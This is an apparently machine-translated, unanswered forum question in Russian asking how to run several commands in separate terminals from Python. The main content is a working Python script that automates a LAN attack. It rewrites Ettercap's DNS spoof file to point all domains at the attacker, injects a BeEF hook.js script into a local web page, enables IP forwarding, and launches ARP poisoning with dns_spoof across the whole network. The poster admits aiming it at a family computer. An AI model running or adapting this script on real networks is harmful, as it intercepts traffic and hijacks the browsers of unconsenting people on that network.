Выполнение нескольких терминалов с использованием Python

Прежде всего, я настоящим заявляю, что этот вопрос и связанные с ним материалы, которые я использовал, предназначены для моей личной цели и никогда не использовались для каких-либо казней в реальном мире; Просто хочу проверить свои этические навыки питона.

Итак, как будто я работал над этим "автоматическим" скриптом / кодом python3, который использует говядину, Ettercap, Wireshark и, возможно, что-то еще в будущем.

МОЙ КОД

      #!/usr/bin/python3

### HeX Programme UwU

import sys
import os
import time
import datetime
import subprocess
from subprocess import Popen, PIPE
import colorama
from colorama import Back, Fore, Style

def designR(txt):
    for c in txt:
        sys.stdout.write(Fore.RED + Style.BRIGHT + c + Style.RESET_ALL)
        sys.stdout.flush()
        time.sleep(0.05)
def designC(txt):
    for c in txt:
        sys.stdout.write(Fore.CYAN + Style.BRIGHT + c + Style.RESET_ALL)
        sys.stdout.flush()
        time.sleep(0.05)
def designB(txt):
    for c in txt:
        sys.stdout.write(Fore.BLUE + Style.BRIGHT + c + Style.RESET_ALL)
        sys.stdout.flush()
        time.sleep(0.05)

VAR1 = subprocess.Popen("ifconfig | grep broad | cut -b 14-28", shell=True, stdout=subprocess.PIPE)
VAR2 = VAR1.stdout.read()
IPr = VAR2.rstrip()
IPr = IPr.decode()

VAR3 = subprocess.Popen("ifconfig | grep -B 1 broad | cut -b 1-5", shell=True, stdout=subprocess.PIPE)
VAR4 = VAR3.stdout.read()
WI = VAR4.rstrip()
WI = WI.decode()

with open('/etc/ettercap/etter.dns') as F:
    if IPr in F.read():
        designC("Positive. IP Address is unchanged from previous usage of this script/Ettercap. Procceding on\n")
    else:
        designR("Negative. Procceding to change IP Address\n")
        os.system("sudo sed -i '/IPADA/c\\*.*.* A   " + IPr + " #IPADA' /etc/ettercap/etter.dns")
        os.system("sudo sed -i '/IPADZ/c\\*.*   A   " + IPr + " #IPADZ' /etc/ettercap/etter.dns")
        os.system("sudo sed -i '/hook.js/c\\  <script src=\"http://" + IPr + ":3000/hook.js\"></script>' /var/www/html/index.html")

designB("Enabling system requirements.\n")
os.system("sudo service apache2 start && sudo bash -c \'echo 1 > /proc/sys/net/ipv4/ip_forward\' && sudo bash -c \'echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\'")
designB("Starting up BEEF-XSS and Ettercap\n")
os.system("cd beef && xdg-open http://" + IPr + ":3000/ui/authentication && sudo ettercap -T -Q -i " + WI + " -P dns_spoof -M arp /// ///")
designB("Restoring default system configurations.\n")
os.system("sudo service apache2 stop && sudo bash -c \'echo 0 > /proc/sys/net/ipv4/ip_forward\' && sudo bash -c \'echo 0 > /proc/sys/net/ipv6/conf/all/forwarding\' && sudo service beef-xss stop")

Изначально я использовал beef-xss по умолчанию, предустановленный в системе, но когда я пытаюсь «выполнить» этот код на моем семейном компьютере, который находится в той же сети, я не могу. Beef-xss использует только http://127.0.0.1:3000/ui/panel, вместо http://<IP>:3000/ui/panel. Следовательно, я удалил beef-xss и установил beef с Github. Итак, раньше, после запуска sudo beef-xss, Он запустил бы команду и "end", вернув управление терминалу, что позволило мне продолжить использование терминала для других команд. Но эта говядина из Github работает до тех пор, пока я не закрою хромированные окна или пока я не выйду из работающего терминала, что мне не нужно.

Итак, я думал открыть новый терминал для команд и выполнять их там. Я подумал о gnome-terminal. Но, как и у меня есть несколько команд, которые занимают терминал до его завершения. Я действительно не уверен, как открывать несколько терминалов и запускать команды по отдельности, все сразу. Даже не несколько терминалов, а «сегменты» в одном терминале приемлемы, и да, в этом тоже не уверен.

Могу обновить этот вопрос, если смогу найти больше ошибок

0 ответов

Другие вопросы по тегам